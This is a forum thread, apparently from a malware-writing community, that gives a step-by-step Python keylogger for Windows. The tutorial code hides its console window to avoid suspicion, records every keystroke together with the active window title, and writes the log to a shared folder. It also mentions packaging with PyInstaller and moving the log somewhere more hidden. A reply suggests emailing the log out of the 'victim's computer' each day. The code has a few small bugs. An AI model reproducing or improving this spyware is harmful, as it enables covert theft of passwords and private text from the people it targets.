Python Windows Keylogger

keylogger

#1

Intrigued by the community here, I decided to start back at developing malware as I had went into a 2 year hybernation. I began by seeing what was developed here and how I could improve the solutions, I found tr4cefl0w and his two topic on the development of a keylogger with python. Being unfamiliar with the Windows API, I took a short dive and decided I was not going to be making any use of it with Python. I found the pip module Keyboard that was briefly mentioned in the part 2 of tra4cefl0w’s malware writing.

Credits to tr4cefl0w for the beginning code. Decidedly, let’s get over to the development!

To begin you should create a folder for the project and a sub-folder named modules, create a file named keyboard.py and open it in your preferred editor. It is also required you install the pip module Keyboard.

/project_folder/modules/Keyboard.py

To begin we will import our base libraries, and hide the console to prevent suspicions.

import keyboard # For recording keystrokes
from datetime import datetime # Optional, to record timestamps
import ctypes # For interfacing with C functions

# Required librairies
kernel32 = ctypes.windll.kernel32
user32 = ctypes.windll.user32

# Hide console
user32.ShowWindow(kernel32.GetConsoleWindow(), 0)

get_current_window() function

Next we will use the function written by tr4cefl0w, get_current_window().

def get_current_window(): # Function to grab the current window and its title

    GetForegroundWindow = user32.GetForegroundWindow
    GetWindowTextLength = user32.GetWindowTextLengthW
    GetWindowText = user32.GetWindowTextW

    hwnd = GetForegroundWindow() # Get handle to foreground window
    length = GetWindowTextLength(hwnd) # Get length of the window text in title bar
    buff = ctypes.create_unicode_buffer(length + 1) # Create buffer to store the window title string
    
    GetWindowText(hwnd, buff, length + 1) # Get window title and store in buff

    return buff.value # Return the value of buff

Finally, on to the code I have developed.

get_timestamp()

def get_timestamp(): # Optional, used later for writing timestamp to file.
  return(round(datetime.now().timestamp()))

write_to(file, content)

def write_to(file, content): # Used later for writing to file
  file.write(content)

write_key(key)

This is the meat of the code, and will be what we send keystrokes to.

def write_key(key): # key - name, scan_code, time
  global key_info # String of key info
  global key_list # List of key names 
  global prev_window # Last window used

  window = get_current_window()

  if(window==prev_window): # If in same window, add to list of keys used in this window
    key_info.append(str(key.name) + " | " + " | " + str(round(key.time))) # Add key, scan code and timestamp to current list as string
    key_list.append(str(key.name)) # Add key name to list as string
    return
  # If not in same window, write keys to output file.
  content = "Date - " + str(datetime.now()) + " | Timestamp - " + str(get_timestamp()) + "\nWindow - " + str(get_current_window()) + "\nKeys - \n" + str("\n".join(key_info)) + "\n" + ", ".join(key_list) + "\n"
  out = open("c:/users/public/" + str(filename), "a")
  write_to(out, content)
  # Where the file should be stored and the name of the file
  filename = str("test.txt")
  directory = str(os.environ["windir"]) + "\\..\\users\\public\\"
  # Writing
  out.close() # Close the files
  key_info = [] # Reset array
  key_list = [] # Reset array
  prev_window = window # Reset the previous window to the current window
  key_info.append(str(key.name) + " | " + str(key.scan_code) + " | " + str(round(key.time))) # Update list with new key, scan code and timestamp
  key_list.append(str(key.name)) # Update list with key name

How the function works

  • This function is first passed a key, each key has the attributes name, scan_code and time.
  • When passed the key, it is first checked if the user is still in the previous window, this is only useful when the function has been used once already.

Same Window

  • Next, checking if the keys are entered into the same function, the arrays key_list and key_info are updated.
    • key_info stores the name of the key alongside the timestamp it was recorded to have been pushed at.
    • key_list stores the keys that have been entered in the current window.
    • It then returns and waits for the next keystroke

New Window

  • If the keys were pressed in a new window, the previous is skipped.
    • The current date, key_info and key_list are written to a variable named content
    • A file is opened with the option to append. For more information about this see here
    • This file is stored in the public user directory, which all users can read or write to. You can change this location to somewhere more hidden if you’d like, later on.
    • The variable content and variable pointing to the file, out are then sent to the function write_to and content is written to the file.
    • The file is then closed
    • Now the arrays and current window can be safely reset
    • Finally, the new key pressed is written to the arrays

prepare()

This is called in the main file to prepare the script.

def prepare():
  global key_info # String of key info
  global key_list # List of key names 
  global prev_window # Last window used
  
  # Set up the arrays
  key_info = []
  key_list = [] 
  prev_window = str()

  keyboard.on_press(write_key) # When a key is pressed, call the write_key function
  keyboard.wait() # This prevents the script from ending and allows for the previous command to continue running.

/project_folder/main.py

from modules import keyboard # Import the file we just wrote

if __name__ == '__main__':
  keyboard.filename = "log.txt" # This variable can be changed to any name you'd like your log file to have
  keyboard.prepare() # Call the prepare function to set up the keylogger.

Executable

You can use PyInstaller to create and executable with this code.

Github Link


#2

Here’s the issue when using French Canadian keyboard for example:

Date - 2019-02-28 10:37:07.743972 | Timestamp - 1551368228
Window - log.txt - Notepad
Keys - 
é | 53 | 1551368216
alt gr | 541 | 1551368216
` | 26 | 1551368217
a | 30 | 1551368219
/ | 41 | 1551368219
é, alt gr, `, a, /
Date - 2019-02-28 10:37:11.395596 | Timestamp - 1551368231
Window - [tr4cefl0w] - Powershell
Keys - 
ctrl | 29 | 1551368228
c | 46 | 1551368228
ctrl, c

Where you see the a it should be à. Same issue with multiple characters. Also, would be nice to have everything on a single line! My guess is you would have to make a lot of conditional statements for combo keys. In the end, for the sake of stability and being able to have all the characters translated properly without wasting time debugging, I personally prefer ctypes. But otherwise, it’s pretty decent nonetheless.


#3

I’m an American, so I understand why you had problems. As for the single line, at the very end of the keys it lists the keys pressed.

é | 53 | 1551368216
alt gr | 541 | 1551368216
` | 26 | 1551368217
a | 30 | 1551368219
/ | 41 | 1551368219
é, alt gr, `, a, /

The very last line displays é, alt gr, `, a, /.
Thanks for the feedback, I’ll try to find a solution for foreign keyboards before my next post!


#4

Call me picky but no one should hardcode the drive letter. I hear that even professional software do this and break. Just a heads up.


#5

I agree with @dtm it’s better to use system or user default environment variables to avoid crashing your program. If you insist on using hardcoded path, put some exception handling with conditional statements. Also, while rare, if the target is an XP machine, that’s not going to work.


#6

The issue should be addressed in write_key function.


(Lulumichen) #7

To add to this you could create a program that sends you the text document at a certain time everyday through email with the smtplib library. just an idea since the file will be stored on the victim’s computer.


#8

This was a simplified version, I’ve done many improvements but just don’t see it fit to post them as I’ve never been one much for tutorial writing. But that is a valid idea.


(Lulumichen) #9

thanks a lot. It worked great though.